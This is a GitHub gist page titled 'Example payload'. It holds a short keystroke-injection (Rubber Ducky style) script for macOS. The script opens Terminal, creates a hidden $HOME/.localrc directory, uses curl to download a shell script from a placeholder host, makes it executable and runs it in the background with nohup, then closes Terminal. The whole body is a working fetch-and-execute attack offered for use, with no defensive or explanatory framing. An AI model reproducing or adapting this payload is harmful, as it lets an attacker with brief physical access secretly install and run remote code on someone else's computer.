Skip to content

Instantly share code, notes, and snippets.

@JWardee
Last active February 11, 2020 21:44
Show Gist options
  • Select an option

  • Save JWardee/e4f044276be56484585da4f747ad70b0 to your computer and use it in GitHub Desktop.

Select an option

Save JWardee/e4f044276be56484585da4f747ad70b0 to your computer and use it in GitHub Desktop.
Example payload
DEFAULTDELAY 250
DELAY 500
GUI SPACE
STRING terminal.app
ENTER
DELAY 100
STRING mkdir $HOME/.localrc/
ENTER
DELAY 10
STRING curl http://website.com/payload_a -o $HOME/.localrc/payload_a.sh
ENTER
DELAY 200
STRING chmod +x $HOME/.localrc/payload_a.sh
ENTER
DELAY 10
STRING nohup bash $HOME/.localrc/payload_a.sh &
ENTER
DELAY 100
GUI q
DELAY 150
ENTER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment